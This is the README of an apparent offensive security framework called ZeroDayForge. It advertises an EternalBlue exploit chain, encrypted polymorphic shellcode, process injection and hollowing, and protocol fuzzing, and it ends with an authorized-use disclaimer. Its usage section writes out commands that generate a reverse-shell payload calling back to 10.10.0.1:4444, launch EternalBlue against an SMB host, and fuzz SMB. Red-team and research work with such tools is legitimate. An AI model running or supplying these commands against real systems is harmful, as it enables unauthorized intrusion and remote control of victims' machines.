💀 ZeroDayForge is a modular red team framework for exploit development, protocol fuzzing, memory corruption research, and shellcode generation — built for professionals, researchers, and chaos engineers.
- 🎯 Protocol Fuzzing (SMBv1, RDP, DNS)
- 💥 EternalBlue Exploit Chain for Windows targets
- 🧠 Shellcode Generator (x64 polymorphic, encrypted)
- 🧬 Process Injection (Direct Syscalls + Hollowing)
- 🛡️ Shellcode Encryptors (AES, ChaCha20, XOR fallback)
- 🧪 Simulated Win32 Heap Manipulation
- 🔍 PoC Generator with crash logging
- ✅ Self-Test Suite — verify tool integrity without a target
git clone https://github.com/Aviral2642/ZeroDayForge.git
cd zerodayforge
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txtpython self_test.pypython zerodayforge.py payload -t shellcode -o reverse.bin -l 10.10.0.1 -p 4444python zerodayforge.py exploit -t 192.168.1.100:445 -e eternalbluepython zerodayforge.py fuzz -t 192.168.1.100:445 -p smbEnable debug logging:
python zerodayforge.py -d <subcommand>.
├── core/ # Core framework (fuzzer, heap, syscall)
├── payloads/ # Shellcode, encryption, injection logic
├── protocols/ # Protocol-specific exploits (SMB, RDP, etc)
├── scripts/ # Shell script utilities
├── examples/ # Sample payload generators
├── zerodayforge.py # Main CLI
├── self_test.py # Local self-verification
├── requirements.txt
└── README.md
- Impacket
- PyRDP
- Capstone & Keystone
- Offensive Security inspiration
This tool is provided for educational and authorized red teaming use only. Do not use it on networks you don’t own or have permission to test. You've been warned. ⚔️
ZeroDayForge — Shaping Exploits. Forging Mayhem.
